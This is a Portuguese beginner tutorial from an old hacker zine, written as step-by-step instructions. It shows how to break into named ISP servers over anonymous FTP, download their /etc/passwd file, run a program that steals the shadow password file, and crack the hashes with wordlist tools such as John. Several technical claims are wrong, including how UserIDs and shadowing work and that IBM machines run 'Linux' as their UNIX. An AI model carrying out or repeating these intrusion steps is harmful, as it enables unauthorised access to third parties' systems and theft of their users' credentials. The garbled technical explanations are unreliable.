mkdir aaa
chmod -w aaa
cd aaa
ln -s bbb ccc

10. Hack, the Art

Tutorial para iniciantes

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Atenção!!! Isso é um mini-tutorial para os begginers entenderem uma parte sobre o hacking que eu acho que não comentei no decorrer da zine.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Antes de começarmos temos que esclarecer umas coisas:

Em que consiste o hacking???

Hacking é tirar o maior proveito de um sistema alheio, e a melhor maneira de se aproveitar tudo o que o sistema tem a oferecer é tornar-se o root ou seja ter os mesmos direitos do que o próprio administrador do sistema.

Quem é o root???

O root é o chefão do sistema. Ele tem acesso a tudo, todos os files, todos os diretórios, todos os usuários do sistema, ele manda em tudo. Em outras palavras, o root é o usuário com ID = 0(o mais alto).

Que sistema que é usado nas redes???

O nome do sistema é UNIX, ele possui varias variaçıes, como o Linux, SunOS, Ultrix, HP-UX, entre outros para os diversos tipos de computadores. Ele é usado por possuir uma segurança bem melhor do que qualquer outro sistema já visto. Ao conectar-se com um sistema UNIX surgirá um pedido de Login e password. Só é possivel conectar-se com um sistema UNIX se você tiver esses dois dados.

E eu também posso usar um UNIX???

Não pode, DEVE!!! Pois é o melhor sistema para se conectar ‡ qualquer rede, inclusive a internet. Se você possui um computador da IBM o nome do UNIX é Linux, se possui um HP é o HP-UX, um Sun é o SunOS... Além de ser o melhor sistema para redes, também é o mais seguro.

Como e' um sistema UNIX? E' parecido com o Windows???
Não, é mais parecido com o DOS. Possui uma série de comandos próprios e não tem um hambiente muito agradavel, tipo Windows. A principio o Unix era um sistema operacional para programadores, por isso ele possui varios compiladores para linguagens C, Assembly, FORTRAN, entre outras, além de aceitar macros como os .BAT's do MS-DOS.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=

Primeiros passos

… claro que o seu primeiro passo poderia ser deletar o Windows e instalar o UNIX, mas talvés você esteja passando pelos mesmos problemas que eu quando descobri que isso existia(falta de money e informação) então se você quer mesmo instalar o unix, arranje com algum amigo, ou compre e também baixe tutoriais de UNIX na internet. … bem fácil de achar, é só entar num site de busca, tipo www.cade.com.br e procurar por "tutoriais unix".

Mas já que você provavélmente não irá parar de lêr esse texto agora para instalar o UNIX, vamos fazer uma pequena invasão a um provedor qualquer.

Siga os seguintes passos:

1. Já conectado a internet entre no prompt do dos e digite "ftp". °Você abriu o programa de ftp instalado junto com os protocolos TCP/IP!
2. Agora o prompt mudou para "ftp>", digite "open embramic.com.br" °Esse comando faz com que vc abra uma conexão com o servidor EasyWay!
3. Você se conectou. Digite "anonymous" como login.
4. Digite algum e-mail qualquer como password.
5. Pronto você está dentro porém como está usando login Anonimo, a sua conexão possui algumas restriçıes.

Agora vamos ao nível mais técnico. … quase obrigatório lêr isso, pois será usado no decorrer do apreendisado.

O protocolo usado na internet é chamado TCP/IP. Ele possui uma série de "sub"-protocolos, o que facilita nas comunicaçıes na internet. Cada "sub"- protocolo possui uma porta de comunicação, tipo...

HTTP(Protocolo de transferencia de hyper texto) = porta 80
SMTP(Protocolo de transferencia de e-mail) =porta 25
FTP(Protocolo de transferencia de arquivos)=porta 21

Nos utilizamos o protocolo FTP aqui, então abrimos uma conexão com o servidor através da porta 21. Vamos aprender um pouco mais sobre o protocolo TCP/IP, no decorrer do manual.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Roubando o arquivo de senhas

Como já vimos, o sistema utilizado na maioria das redes, inclusive na internet, é o UNIX. O nome do arquivo de senhas no unixé "passwd" e está no diretório "/etc".

Vamos fazer uma pequena invasão a um servidor, usando o protocolo ftp que já conhecemos, e roubar o seu arquivo de senhas.

Siga os passos:

1. Entre no prompt do DOS e digite "ftp"
2. Digite "open emrede.com.br" para se conectar com o provedor EmRede.
3. Digite o login "anonymous".
4. Digite um e-mail qualquer para a senha.
5. Você está conectado. Digite "ls" para listar os arquivos e diretórios.
6. Viu o diretório "etc"? Se viu pule para o passo 9.
7. Digite "cd .." para ir pro diretório raiz do provedor.
8. Digite "ls" novamente para ver se o diretório "etc" está aí. Se não estiver volte para o passo 7.
9. Digite "cd etc" para entrar no diretório etc.
10. Digite "ls" novamente.
11. O arquivo "passwd" está aí. Para pega-lo digite "get passwd".
12. Agora disconecte-se. Digite "bye".

Você pegou o arquivo "passwd", mas não vá pensando que já é hacker.
Abra o arquivo "passwd". Ele está no diretório que você estava quando digitou "ftp".
Veja a estrutura das contas. Entendeu alguma coisa?? Então veja o ex:

	root:x:0:1:0000-Admin(0000):/:/sbin/sh 
	 |   | | |      |           |    | 
	 |   | | |      |           |    +---> Shell 
	 |   | | |      |           | 
	 |   | | |      |	    +---> Diretório root 
	 |   | | |	| 
	 |   | | |      +---> Comentario 
	 |   | | | 
	 |   | | +---> GroupID 
	 |   | | 
	 |   | +---> UserID 
	 |   | 
	 |   +---> Password 
	 | 
	 +---> Login

No exemplo acima a unica coisa que nos enteresa é o login, o password e o UserID.

O login no caso é "root"

O Password é "x". Não, isso não quer dizer que não tem password para essa conta. O "x" quer dizer que o password está shadowado(BAH!). O shadow é como uma camuflagem, ele esconde as contas, com UserID muito baixos, em um outro arquivo.

O UserID é 0. Quer dizer que este cara é o chefão do sistema. Quanto menor o UserID maior o poder do usuário.

Como esse sistema está usando Shadow, você pode descartar o arquivo "passwd" pois esse não lhe dará merda nenhuma, a não ser talvés, contas de usuários muito fracos(com alto UserID).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Roubando o shadow

A primeira coisa a se fazer é encontrar o local do Shadow. Normalmente é no diretório "/etc/" e o nome do arquivo é "shadow", mas isso depende do sistema. E mesmo assim você não teria permissão a ele pois você é apenas um mero usuário no sistema.

Então como eu faço??? Vc pode dar uma olhada num manual que eu escrevi e pode ser encontrado na minha homepage ou usar um programa(tb disponivel na page) que rouba a shadow.

Apos baixa-lo vc tera q envia-lo para uma shell e compila-lo.

Execute este programa assim:

	unshad >> senhas.txt

Depois lêia o arquivo senhas.txt, lá estarão todas as contas com suas passwords encriptadas. Se o arquivo estiver vasio, quer dizer que o programa nao conseguiu encontrar o arquivo de senhas.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Descriptando

Existem vários programas que fazem esse trabalho. Um dos mais conhecidos é o "CrackJack".

Para descriptar uma senha o programa utiliza várias combinaçıes de uma wordlist, e as encripta. Aí compara com a senha. Se a combinação é identica, você encontrou uma senha, se é diferente, o programa pula para a outra combinação.

Uma wordlist é uma lista de palavras que qualquer um pode fazer. Apenas crie um arquivo e coloque todas as combinaçıes que você acha que possam se encaixar com a senha em lista. Como no exemplo a seguir:

aaaaaa 
abcdef 
teste1 
teste2 
struck 
badboy 
hunter 
123456

Aqui vai uma rápida explicação de como usar os programas crackeadores mais conhecidos para seus devidos sistemas.

Para DOS e OS/2 você pode encontrar o "Jack14".

Digite "jack" , coloque o nome do arquivo de senhas quando aparecer "PWfile(s)", e o nome da wordlist quando aparecer "Wordfile". As senhas descriptadas estarão no arquivo JACK.POT.

Para DOS tb existe o "John" que e' o sucessor do Jack.

Digite "john -w:wordlist passwd". Use a flag -beep se vc quizer com que o DOS de um beep a cada descriptação.

Para Windows você encontra o "Killer Crack".

Quando aparecer "PWfile" coloque o nome do arquivo de senhas, quando aparecer "Wordfile" digite o nome da wordlist e quando aparecer "Validfile", digite o nome do arquivo onde estarão as senhas validas.

Para MS-DOS você também encontra o "Brute Force".

Este programa serve para você testar a senha de palavra em palavra. Use assim "fbrute passwd senha", onde o "passwd" é o arquivo de senhas e a "senha" é a palavra chave para ser testada.

$$$$$$$$$

Eu jah pedi uma vez e vou pedir denovo. Porfavor me mandem emails dizendo sobre o que acharam da zine. Nem que seja apenas para dizer que leu pois no momento eu nao estou sabendo ao certo quantas pessoas jah leram a minha zine no momento.

Se voce leu e gostou, coloque na sua page para download e tambem faca um link para a minha page. Porem se achar d+ apenas anuncie-o na sua page please.

Se voce tem alguma duvida sobre qualquer coisa publicada na zine e/ou nos tutoriais escritos por mim. E' soh mandar um mail que eu nao vo sacanear.

Se vc achou a zine podre. Tb mande email que assim eu vou saber o que vcs estao realmente interesados em ver. E se vc ta escrevendo alguma zine pode manda o link para a page que eu coloco na minha. Porem se ainda nao existir pagina para a zine(como aconteceu nas primeiras edicao da CSZine) e' soh mandar as zines por mail e eu ponho na secao de zines da Cheat Struck hp.

Editores. Mail-me.

cszine@hotmail.com